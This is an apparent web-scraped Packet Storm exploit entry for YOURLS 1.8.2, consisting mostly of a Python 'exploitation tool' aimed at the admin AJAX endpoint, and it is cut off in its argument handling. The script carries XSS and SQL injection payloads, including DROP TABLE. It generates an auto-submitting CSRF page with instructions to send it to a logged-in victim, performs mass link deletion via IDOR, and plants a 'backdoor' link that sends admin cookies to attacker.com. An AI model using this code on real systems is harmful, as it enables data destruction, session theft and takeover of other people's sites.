{"id":29324,"date":"2025-12-08T10:42:41","date_gmt":"2025-12-08T10:42:41","guid":{"rendered":"http:\/\/localhost\/?p=29324"},"modified":"2025-12-08T10:42:41","modified_gmt":"2025-12-08T10:42:41","slug":"yourls-182-csrf-idor-missing-authorization","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=29324","title":{"rendered":"\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization_PACKETSTORM:212540"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-08T16:29:00&#8243;,&#8221;description&#8221;:&#8221;YOURLS version 1.8.2 AJAX endpoint scanner that checks for cross site request forgery, insecure direct object reference, missing authorization, and missing input validation vulnerabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212540&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2022-0088&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : YOURLS 1.8.2 AJAX Endpoint Vulnerabilities                                                                                  |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/yourls\/yourls\/                                                                                           |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212395\/ \\u0026 \\tCVE-2022-0088\\n    \\n    [+] Summary : Critical security vulnerabilities in YOURLS \/admin\/ajax.php endpoint that allow attackers \\n                  to perform unauthorized actions, access other users&#8217; data, and potentially compromise the entire system.\\n    \\t\\t\\t \\n    [+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation\\t\\t\\t \\n    \\t\\t\\t  \\n    [+]  POC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    Author: indoushka\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import requests\\n    import json\\n    import sys\\n    import argparse\\n    import hashlib\\n    import re\\n    from urllib.parse import urljoin\\n    from colorama import Fore, Style, init\\n    \\n    # Initialize colorama\\n    init(autoreset=True)\\n    \\n    class YOURLS_Exploiter:\\n        def __init__(self, target_url, session_cookie=None, csrf_token=None):\\n            self.base_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.ajax_url = urljoin(self.base_url, &#8216;admin\/ajax.php&#8217;)\\n            self.session = requests.Session()\\n            \\n            if session_cookie:\\n                self.session.headers.update({&#8216;Cookie&#8217;: session_cookie})\\n            \\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n                &#8216;Accept&#8217;: &#8216;application\/json, text\/javascript, *\/*; q=0.01&#8217;,\\n                &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,\\n                &#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded; charset=UTF-8&#8217;,\\n                &#8216;X-Requested-With&#8217;: &#8216;XMLHttpRequest&#8217;,\\n                &#8216;Referer&#8217;: urljoin(self.base_url, &#8216;admin\/&#8217;)\\n            })\\n            \\n            self.csrf_token = csrf_token\\n            self.vulnerabilities = []\\n        \\n        def print_banner(self):\\n            banner = f\\&#8221;\\&#8221;\\&#8221;\\n    {Fore.RED}\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551        YOURLS AJAX Endpoint Unified Exploitation Tool       \u2551\\n    \u2551        Multiple Vulnerabilities Exploiter                   \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d{Style.RESET_ALL}\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(banner)\\n        \\n        def detect_vulnerabilities(self):\\n            \\&#8221;\\&#8221;\\&#8221;Detect all potential vulnerabilities\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;{Fore.CYAN}[*] Scanning for vulnerabilities&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            # Test 1: CSRF Vulnerability\\n            self.test_csrf()\\n            \\n            # Test 2: IDOR Vulnerability\\n            self.test_idor()\\n            \\n            # Test 3: Missing Input Validation\\n            self.test_input_validation()\\n            \\n            # Test 4: Information Disclosure\\n            self.test_info_disclosure()\\n            \\n            # Test 5: SQL Injection\\n            self.test_sql_injection()\\n            \\n            # Print summary\\n            self.print_summary()\\n        \\n        def test_csrf(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test for CSRF vulnerability\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}[+] Testing CSRF Protection&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            # Try to make a request without CSRF token\\n            test_data = {\\n                &#8216;action&#8217;: &#8216;add&#8217;,\\n                &#8216;url&#8217;: &#8216;http:\/\/test.com&#8217;,\\n                &#8216;keyword&#8217;: &#8216;test123&#8217;,\\n                &#8216;nonce&#8217;: &#8216;dummy_nonce&#8217;\\n            }\\n            \\n            try:\\n                response = self.session.post(self.ajax_url, data=test_data, timeout=10)\\n                \\n                if response.status_code == 200:\\n                    try:\\n                        resp_json = response.json()\\n                        if &#8216;status&#8217; in resp_json and resp_json[&#8216;status&#8217;] == &#8216;success&#8217;:\\n                            print(f\\&#8221;{Fore.RED}[!] CSRF VULNERABLE: Action executed without proper CSRF protection{Style.RESET_ALL}\\&#8221;)\\n                            self.vulnerabilities.append({\\n                                &#8216;name&#8217;: &#8216;CSRF&#8217;,\\n                                &#8216;severity&#8217;: &#8216;High&#8217;,\\n                                &#8216;description&#8217;: &#8216;Actions can be performed without CSRF token validation&#8217;\\n                            })\\n                        else:\\n                            print(f\\&#8221;{Fore.GREEN}[-] CSRF protection appears to be working{Style.RESET_ALL}\\&#8221;)\\n                    except:\\n                        print(f\\&#8221;{Fore.YELLOW}[-] Could not parse response{Style.RESET_ALL}\\&#8221;)\\n            except Exception as e:\\n                print(f\\&#8221;{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}\\&#8221;)\\n        \\n        def test_idor(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test for Insecure Direct Object Reference\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}[+] Testing IDOR Vulnerability&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            # First, create a link to get a valid ID\\n            print(f\\&#8221;    Step 1: Creating test link&#8230;\\&#8221;)\\n            \\n            create_data = {\\n                &#8216;action&#8217;: &#8216;add&#8217;,\\n                &#8216;url&#8217;: &#8216;http:\/\/victim-test.com&#8217;,\\n                &#8216;keyword&#8217;: &#8216;victimlink&#8217;,\\n                &#8216;nonce&#8217;: self.get_nonce(&#8216;add_url&#8217;)\\n            }\\n            \\n            try:\\n                response = self.session.post(self.ajax_url, data=create_data, timeout=10)\\n                \\n                if response.status_code == 200:\\n                    # Try to access other IDs\\n                    print(f\\&#8221;    Step 2: Attempting IDOR enumeration&#8230;\\&#8221;)\\n                    \\n                    for link_id in range(1, 11):\\n                        test_data = {\\n                            &#8216;action&#8217;: &#8216;delete&#8217;,\\n                            &#8216;id&#8217;: link_id,\\n                            &#8216;keyword&#8217;: f&#8217;test{link_id}&#8217;,\\n                            &#8216;nonce&#8217;: self.get_nonce(f&#8217;delete-link_{link_id}&#8217;)\\n                        }\\n                        \\n                        response = self.session.post(self.ajax_url, data=test_data, timeout=5)\\n                        \\n                        if response.status_code == 200:\\n                            try:\\n                                resp_json = response.json()\\n                                if &#8216;success&#8217; in resp_json and resp_json[&#8216;success&#8217;]:\\n                                    print(f\\&#8221;{Fore.RED}[!] IDOR VULNERABLE: Can delete link ID {link_id}{Style.RESET_ALL}\\&#8221;)\\n                                    self.vulnerabilities.append({\\n                                        &#8216;name&#8217;: &#8216;IDOR&#8217;,\\n                                        &#8216;severity&#8217;: &#8216;High&#8217;,\\n                                        &#8216;description&#8217;: f&#8217;Can access\/delete link ID {link_id} without ownership verification&#8217;\\n                                    })\\n                                    break\\n                            except:\\n                                pass\\n            except Exception as e:\\n                print(f\\&#8221;{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}\\&#8221;)\\n        \\n        def test_input_validation(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test for missing input validation\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}[+] Testing Input Validation&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            # Test XSS in URL field\\n            xss_payloads = [\\n                &#8216;javascript:alert(document.cookie)&#8217;,\\n                &#8216;data:text\/html,\\u003cscript\\u003ealert(1)\\u003c\/script\\u003e&#8217;,\\n                &#8216;\\&#8221; onmouseover=\\&#8221;alert(1)\\&#8221;&#8216;,\\n                &#8216;\\u003csvg onload=alert(1)\\u003e&#8217;\\n            ]\\n            \\n            for payload in xss_payloads:\\n                test_data = {\\n                    &#8216;action&#8217;: &#8216;add&#8217;,\\n                    &#8216;url&#8217;: payload,\\n                    &#8216;keyword&#8217;: f&#8217;xss{hashlib.md5(payload.encode()).hexdigest()[:6]}&#8217;,\\n                    &#8216;nonce&#8217;: self.get_nonce(&#8216;add_url&#8217;)\\n                }\\n                \\n                try:\\n                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)\\n                    \\n                    if response.status_code == 200:\\n                        resp_text = response.text.lower()\\n                        if &#8216;alert&#8217; in resp_text or &#8216;script&#8217; in resp_text:\\n                            print(f\\&#8221;{Fore.RED}[!] XSS VULNERABLE: Payload accepted &#8211; {payload[:30]}&#8230;{Style.RESET_ALL}\\&#8221;)\\n                            self.vulnerabilities.append({\\n                                &#8216;name&#8217;: &#8216;XSS&#8217;,\\n                                &#8216;severity&#8217;: &#8216;Medium&#8217;,\\n                                &#8216;description&#8217;: f&#8217;XSS payload accepted: {payload[:50]}&#8217;\\n                            })\\n                            break\\n                except:\\n                    pass\\n            \\n            # Test SQL Injection\\n            sql_payloads = [\\n                \\&#8221;&#8216; OR &#8216;1&#8217;=&#8217;1\\&#8221;,\\n                \\&#8221;test&#8217;; DROP TABLE yourls_url; &#8211;\\&#8221;,\\n                \\&#8221;1&#8242; UNION SELECT 1,2,3,4 &#8211;\\&#8221;\\n            ]\\n            \\n            for payload in sql_payloads:\\n                test_data = {\\n                    &#8216;action&#8217;: &#8216;add&#8217;,\\n                    &#8216;url&#8217;: f&#8217;http:\/\/{payload}.com&#8217;,\\n                    &#8216;keyword&#8217;: f&#8217;sql{hashlib.md5(payload.encode()).hexdigest()[:6]}&#8217;,\\n                    &#8216;nonce&#8217;: self.get_nonce(&#8216;add_url&#8217;)\\n                }\\n                \\n                try:\\n                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)\\n                    \\n                    if &#8216;sql&#8217; in response.text.lower() or &#8216;union&#8217; in response.text.lower():\\n                        print(f\\&#8221;{Fore.RED}[!] SQL INJECTION POSSIBLE: Payload triggered response{Style.RESET_ALL}\\&#8221;)\\n                        self.vulnerabilities.append({\\n                            &#8216;name&#8217;: &#8216;SQL Injection&#8217;,\\n                            &#8216;severity&#8217;: &#8216;Critical&#8217;,\\n                            &#8216;description&#8217;: f&#8217;SQL payload may be injectable: {payload[:50]}&#8217;\\n                        })\\n                        break\\n                except:\\n                    pass\\n        \\n        def test_info_disclosure(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test for information disclosure\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}[+] Testing Information Disclosure&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            # Try to access error messages\\n            test_data = {\\n                &#8216;action&#8217;: &#8216;invalid_action&#8217;,\\n                &#8216;nonce&#8217;: &#8216;invalid_nonce&#8217;\\n            }\\n            \\n            try:\\n                response = self.session.post(self.ajax_url, data=test_data, timeout=5)\\n                \\n                if response.status_code == 200:\\n                    # Look for error messages that reveal information\\n                    error_indicators = [\\n                        &#8216;mysql&#8217;, &#8216;database&#8217;, &#8216;sql&#8217;, &#8216;query failed&#8217;,\\n                        &#8216;on line&#8217;, &#8216;stack trace&#8217;, &#8216;fatal error&#8217;,\\n                        &#8216;warning:&#8217;, &#8216;notice:&#8217;, &#8216;undefined&#8217;\\n                    ]\\n                    \\n                    for indicator in error_indicators:\\n                        if indicator in response.text.lower():\\n                            print(f\\&#8221;{Fore.RED}[!] INFO DISCLOSURE: {indicator} found in response{Style.RESET_ALL}\\&#8221;)\\n                            self.vulnerabilities.append({\\n                                &#8216;name&#8217;: &#8216;Information Disclosure&#8217;,\\n                                &#8216;severity&#8217;: &#8216;Low&#8217;,\\n                                &#8216;description&#8217;: f&#8217;Sensitive information disclosed: {indicator}&#8217;\\n                            })\\n                            break\\n            except Exception as e:\\n                pass\\n        \\n        def test_sql_injection(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test for SQL injection vulnerabilities\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}[+] Testing SQL Injection&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            # Time-based SQL injection test\\n            time_payloads = [\\n                (\\&#8221;&#8216; OR SLEEP(5) &#8211;\\&#8221;, \\&#8221;MySQL sleep\\&#8221;),\\n                (\\&#8221;&#8216;; WAITFOR DELAY &#8217;00:00:05&#8217; &#8211;\\&#8221;, \\&#8221;MSSQL delay\\&#8221;),\\n                (\\&#8221;&#8216; AND 1=IF(1=1,SLEEP(5),0) &#8211;\\&#8221;, \\&#8221;Conditional sleep\\&#8221;)\\n            ]\\n            \\n            for payload, description in time_payloads:\\n                test_data = {\\n                    &#8216;action&#8217;: &#8216;add&#8217;,\\n                    &#8216;url&#8217;: f&#8217;http:\/\/test{payload}.com&#8217;,\\n                    &#8216;keyword&#8217;: f&#8217;time{hashlib.md5(payload.encode()).hexdigest()[:6]}&#8217;,\\n                    &#8216;nonce&#8217;: self.get_nonce(&#8216;add_url&#8217;)\\n                }\\n                \\n                try:\\n                    import time\\n                    start_time = time.time()\\n                    response = self.session.post(self.ajax_url, data=test_data, timeout=10)\\n                    end_time = time.time()\\n                    \\n                    if end_time &#8211; start_time \\u003e 4:\\n                        print(f\\&#8221;{Fore.RED}[!] BLIND SQL INJECTION: Time-based delay detected ({description}){Style.RESET_ALL}\\&#8221;)\\n                        self.vulnerabilities.append({\\n                            &#8216;name&#8217;: &#8216;Blind SQL Injection&#8217;,\\n                            &#8216;severity&#8217;: &#8216;Critical&#8217;,\\n                            &#8216;description&#8217;: f&#8217;Time-based SQLi: {description}&#8217;\\n                        })\\n                        break\\n                except requests.exceptions.Timeout:\\n                    print(f\\&#8221;{Fore.RED}[!] BLIND SQL INJECTION: Request timeout ({description}){Style.RESET_ALL}\\&#8221;)\\n                    self.vulnerabilities.append({\\n                        &#8216;name&#8217;: &#8216;Blind SQL Injection&#8217;,\\n                        &#8216;severity&#8217;: &#8216;Critical&#8217;,\\n                        &#8216;description&#8217;: f&#8217;Timeout on: {description}&#8217;\\n                    })\\n                    break\\n                except:\\n                    pass\\n        \\n        def get_nonce(self, action):\\n            \\&#8221;\\&#8221;\\&#8221;Extract or generate nonce\\&#8221;\\&#8221;\\&#8221;\\n            if self.csrf_token:\\n                return self.csrf_token\\n            \\n            # Try to extract nonce from admin page\\n            try:\\n                admin_url = urljoin(self.base_url, &#8216;admin\/&#8217;)\\n                response = self.session.get(admin_url, timeout=5)\\n                \\n                # Look for nonce in HTML\\n                nonce_patterns = [\\n                    r&#8217;name=\\&#8221;nonce\\&#8221; value=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;,\\n                    r&#8217;nonce=([a-f0-9]+)&#8217;,\\n                    r&#8217;nonce:[\\\\&#8217;\\&#8221;]([a-f0-9]+)[\\\\&#8217;\\&#8221;]&#8217;\\n                ]\\n                \\n                for pattern in nonce_patterns:\\n                    matches = re.search(pattern, response.text, re.IGNORECASE)\\n                    if matches:\\n                        return matches.group(1)\\n            except:\\n                pass\\n            \\n            # Return dummy nonce for testing\\n            return &#8216;test_nonce_123&#8217;\\n        \\n        def print_summary(self):\\n            \\&#8221;\\&#8221;\\&#8221;Print vulnerability summary\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.CYAN}{&#8216;=&#8217;*60}{Style.RESET_ALL}\\&#8221;)\\n            print(f\\&#8221;{Fore.CYAN}[*] VULNERABILITY SUMMARY{Style.RESET_ALL}\\&#8221;)\\n            print(f\\&#8221;{Fore.CYAN}{&#8216;=&#8217;*60}{Style.RESET_ALL}\\&#8221;)\\n            \\n            if not self.vulnerabilities:\\n                print(f\\&#8221;{Fore.GREEN}[+] No vulnerabilities detected{Style.RESET_ALL}\\&#8221;)\\n                return\\n            \\n            for i, vuln in enumerate(self.vulnerabilities, 1):\\n                color = Fore.RED if vuln[&#8216;severity&#8217;] in [&#8216;High&#8217;, &#8216;Critical&#8217;] else Fore.YELLOW\\n                print(f\\&#8221;{color}[{i}] {vuln[&#8216;name&#8217;]} ({vuln[&#8216;severity&#8217;]}){Style.RESET_ALL}\\&#8221;)\\n                print(f\\&#8221;    {vuln[&#8216;description&#8217;]}\\&#8221;)\\n        \\n        def exploit_csrf(self, target_url, malicious_url, keyword):\\n            \\&#8221;\\&#8221;\\&#8221;Generate CSRF exploit\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.RED}[*] Generating CSRF Exploit&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            exploit_html = f\\&#8221;\\&#8221;\\&#8221;\\u003c!DOCTYPE html\\u003e\\n    \\u003chtml\\u003e\\n    \\u003chead\\u003e\\n        \\u003ctitle\\u003eYOURLS CSRF Exploit\\u003c\/title\\u003e\\n    \\u003c\/head\\u003e\\n    \\u003cbody\\u003e\\n        \\u003ch1\\u003eCSRF Attack &#8211; YOURLS Link Addition\\u003c\/h1\\u003e\\n        \\n        \\u003cform id=\\&#8221;csrfForm\\&#8221; action=\\&#8221;{self.ajax_url}\\&#8221; method=\\&#8221;POST\\&#8221;\\u003e\\n            \\u003cinput type=\\&#8221;hidden\\&#8221; name=\\&#8221;action\\&#8221; value=\\&#8221;add\\&#8221;\\u003e\\n            \\u003cinput type=\\&#8221;hidden\\&#8221; name=\\&#8221;url\\&#8221; value=\\&#8221;{malicious_url}\\&#8221;\\u003e\\n            \\u003cinput type=\\&#8221;hidden\\&#8221; name=\\&#8221;keyword\\&#8221; value=\\&#8221;{keyword}\\&#8221;\\u003e\\n            \\u003cinput type=\\&#8221;hidden\\&#8221; name=\\&#8221;nonce\\&#8221; value=\\&#8221;{self.get_nonce(&#8216;add_url&#8217;)}\\&#8221;\\u003e\\n        \\u003c\/form\\u003e\\n        \\n        \\u003cscript\\u003e\\n            \/\/ Auto-submit the form\\n            document.getElementById(&#8216;csrfForm&#8217;).submit();\\n            \\n            \/\/ Alternative: Iframe injection\\n            function stealthSubmit() {{\\n                var iframe = document.createElement(&#8216;iframe&#8217;);\\n                iframe.style.display = &#8216;none&#8217;;\\n                iframe.name = &#8216;csrfFrame&#8217;;\\n                document.body.appendChild(iframe);\\n                \\n                var form = document.getElementById(&#8216;csrfForm&#8217;);\\n                form.target = &#8216;csrfFrame&#8217;;\\n                form.submit();\\n            }}\\n            \\n            \/\/ Uncomment for stealth mode\\n            \/\/ window.onload = stealthSubmit;\\n        \\u003c\/script\\u003e\\n        \\n        \\u003cp\\u003eIf the form doesn&#8217;t auto-submit, \\u003ca href=\\&#8221;#\\&#8221; onclick=\\&#8221;document.getElementById(&#8216;csrfForm&#8217;).submit(); return false;\\&#8221;\\u003eclick here\\u003c\/a\\u003e.\\u003c\/p\\u003e\\n    \\u003c\/body\\u003e\\n    \\u003c\/html\\u003e\\&#8221;\\&#8221;\\&#8221;\\n            \\n            filename = f\\&#8221;csrf_exploit_{keyword}.html\\&#8221;\\n            with open(filename, &#8216;w&#8217;) as f:\\n                f.write(exploit_html)\\n            \\n            print(f\\&#8221;{Fore.GREEN}[+] CSRF exploit saved to: {filename}{Style.RESET_ALL}\\&#8221;)\\n            print(f\\&#8221;{Fore.YELLOW}[*] Send this file to victim while they&#8217;re logged into YOURLS{Style.RESET_ALL}\\&#8221;)\\n            \\n            return filename\\n        \\n        def exploit_idor(self, start_id=1, end_id=100):\\n            \\&#8221;\\&#8221;\\&#8221;Exploit IDOR vulnerability to enumerate links\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.RED}[*] Exploiting IDOR Vulnerability&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            found_links = []\\n            \\n            for link_id in range(start_id, end_id + 1):\\n                # Try to edit display\\n                test_data = {\\n                    &#8216;action&#8217;: &#8216;edit_display&#8217;,\\n                    &#8216;id&#8217;: link_id,\\n                    &#8216;keyword&#8217;: f&#8217;test{link_id}&#8217;,\\n                    &#8216;nonce&#8217;: self.get_nonce(f&#8217;edit-link_{link_id}&#8217;)\\n                }\\n                \\n                try:\\n                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)\\n                    \\n                    if response.status_code == 200:\\n                        try:\\n                            resp_json = response.json()\\n                            if &#8216;html&#8217; in resp_json and &#8216;keyword&#8217; in resp_json[&#8216;html&#8217;].lower():\\n                                print(f\\&#8221;{Fore.GREEN}[+] Found link ID {link_id}{Style.RESET_ALL}\\&#8221;)\\n                                found_links.append({\\n                                    &#8216;id&#8217;: link_id,\\n                                    &#8216;html&#8217;: resp_json[&#8216;html&#8217;][:100]\\n                                })\\n                        except:\\n                            if &#8216;keyword&#8217; in response.text.lower() or &#8216;url&#8217; in response.text.lower():\\n                                print(f\\&#8221;{Fore.GREEN}[+] Possible link ID {link_id}{Style.RESET_ALL}\\&#8221;)\\n                                found_links.append({\\n                                    &#8216;id&#8217;: link_id,\\n                                    &#8216;response&#8217;: response.text[:100]\\n                                })\\n                except:\\n                    pass\\n            \\n            if found_links:\\n                print(f\\&#8221;\\\\n{Fore.GREEN}[+] Found {len(found_links)} accessible links{Style.RESET_ALL}\\&#8221;)\\n                for link in found_links:\\n                    print(f\\&#8221;    ID {link[&#8216;id&#8217;]}: {link.get(&#8216;html&#8217;, link.get(&#8216;response&#8217;, &#8216;No data&#8217;))}\\&#8221;)\\n            \\n            return found_links\\n        \\n        def mass_link_deletion(self, start_id=1, end_id=50):\\n            \\&#8221;\\&#8221;\\&#8221;Mass deletion via IDOR\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.RED}[*] Attempting Mass Link Deletion&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            deleted = []\\n            \\n            for link_id in range(start_id, end_id + 1):\\n                test_data = {\\n                    &#8216;action&#8217;: &#8216;delete&#8217;,\\n                    &#8216;id&#8217;: link_id,\\n                    &#8216;keyword&#8217;: f&#8217;del{link_id}&#8217;,\\n                    &#8216;nonce&#8217;: self.get_nonce(f&#8217;delete-link_{link_id}&#8217;)\\n                }\\n                \\n                try:\\n                    response = self.session.post(self.ajax_url, data=test_data, timeout=3)\\n                    \\n                    if response.status_code == 200:\\n                        try:\\n                            resp_json = response.json()\\n                            if &#8216;success&#8217; in resp_json and resp_json[&#8216;success&#8217;]:\\n                                print(f\\&#8221;{Fore.RED}[!] Deleted link ID {link_id}{Style.RESET_ALL}\\&#8221;)\\n                                deleted.append(link_id)\\n                        except:\\n                            if &#8216;success&#8217; in response.text.lower():\\n                                print(f\\&#8221;{Fore.RED}[!] Possibly deleted link ID {link_id}{Style.RESET_ALL}\\&#8221;)\\n                                deleted.append(link_id)\\n                except:\\n                    pass\\n            \\n            return deleted\\n        \\n        def create_backdoor(self):\\n            \\&#8221;\\&#8221;\\&#8221;Create persistent backdoor via XSS or malicious link\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.RED}[*] Creating Persistent Backdoor&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            # Create malicious shortened link with XSS\\n            xss_payload = \\&#8221;javascript:fetch(&#8216;https:\/\/attacker.com\/steal?cookie=&#8217;+document.cookie)\\&#8221;\\n            \\n            backdoor_data = {\\n                &#8216;action&#8217;: &#8216;add&#8217;,\\n                &#8216;url&#8217;: xss_payload,\\n                &#8216;keyword&#8217;: &#8216;admin-panel&#8217;,\\n                &#8216;nonce&#8217;: self.get_nonce(&#8216;add_url&#8217;)\\n            }\\n            \\n            try:\\n                response = self.session.post(self.ajax_url, data=backdoor_data, timeout=10)\\n                \\n                if response.status_code == 200:\\n                    print(f\\&#8221;{Fore.GREEN}[+] Backdoor link created: {self.base_url}\/admin-panel{Style.RESET_ALL}\\&#8221;)\\n                    print(f\\&#8221;{Fore.YELLOW}[*] When admin visits this link, cookies will be sent to attacker{Style.RESET_ALL}\\&#8221;)\\n            except Exception as e:\\n                print(f\\&#8221;{Fore.RED}[-] Failed to create backdoor: {str(e)}{Style.RESET_ALL}\\&#8221;)\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=\\&#8221;YOURLS AJAX Endpoint Exploitation Tool\\&#8221;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter\\n        )\\n        \\n        parser.add_argument(\\&#8221;-u\\&#8221;, \\&#8221;&#8211;url\\&#8221;, required=True, help=\\&#8221;Target YOURLS base URL\\&#8221;)\\n        parser.add_argument(\\&#8221;-c\\&#8221;, \\&#8221;&#8211;cookie\\&#8221;, help=\\&#8221;Session cookie (e.g., PHPSESSID=abc123)\\&#8221;)\\n        parser.add_argument(\\&#8221;-t\\&#8221;, \\&#8221;&#8211;token\\&#8221;, help=\\&#8221;CSRF\/nonce token\\&#8221;)\\n        parser.add_argument(\\&#8221;-s\\&#8221;, \\&#8221;&#8211;scan\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Scan for vulnerabilities\\&#8221;)\\n        parser.add_argument(\\&#8221;-x\\&#8221;, \\&#8221;&#8211;exploit\\&#8221;, choices=[&#8216;csrf&#8217;, &#8216;idor&#8217;, &#8216;mass&#8217;, &#8216;backdoor&#8217;], help=\\&#8221;Exploit specific vulnerability\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;csrf-url\\&#8221;, help=\\&#8221;URL for CSRF exploit (with &#8211;exploit csrf)\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;keyword\\&#8221;, help=\\&#8221;Custom keyword for links\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;start-id\\&#8221;, type=int, default=1, help=\\&#8221;Start ID for IDOR enumeration\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;end-id\\&#8221;, type=int, default=50, help=\\&#8221;End ID for IDOR enumeration\\&#8221;)\\n        \\n        args = parser.parse_args()\\n        \\n        if not args.scan and not args.exploit:\\n            print(f\\&#8221;{Fore.RED}[-] Please specify &#8211;scan or &#8211;exploit{Style.RESET_ALL}\\&#8221;)\\n            return\\n        \\n        # Initialize exploiter\\n        exploiter = YOURLS_Exploiter(args.url, args.cookie, args.token)\\n        exploiter.print_banner()\\n        \\n        if args.scan:\\n            exploiter.detect_vulnerabilities()\\n        \\n        if args.exploit:\\n            if args.exploit == &#8216;csrf&#8217;:\\n                if not args.csrf_url:\\n                    print(f\\&#8221;{Fore.RED}[-] Please specify &#8211;csrf-url for CSRF exploit{Style.RESET_ALL}\\&#8221;)\\n                    return\\n                \\n                keyword = args.keyword or f\\&#8221;mal_{hashlib.md5(args.csrf_url.encode()).hexdigest()[:8]}\\&#8221;\\n                exploiter.exploit_csrf(args.url, args.csrf_url, keyword)\\n            \\n            elif args.exploit == &#8216;idor&#8217;:\\n                found = exploiter.exploit_idor(args.start_id, args.end_id)\\n                if found:\\n                    print(f\\&#8221;\\\\n{Fore.GREEN}[+] IDOR exploitation complete{Style.RESET_ALL}\\&#8221;)\\n            \\n            elif args.exploit == &#8216;mass&#8217;:\\n                confirm = input(f\\&#8221;{Fore.RED}[!] This will attempt to delete multiple links. Continue? (y\/n): {Style.RESET_ALL}\\&#8221;)\\n                if confirm.lower() == &#8216;y&#8217;:\\n                    deleted = exploiter.mass_link_deletion(args.start_id, args.end_id)\\n                    print(f\\&#8221;\\\\n{Fore.RED}[!] Attempted to delete {len(deleted)} links{Style.RESET_ALL}\\&#8221;)\\n            \\n            elif args.exploit == 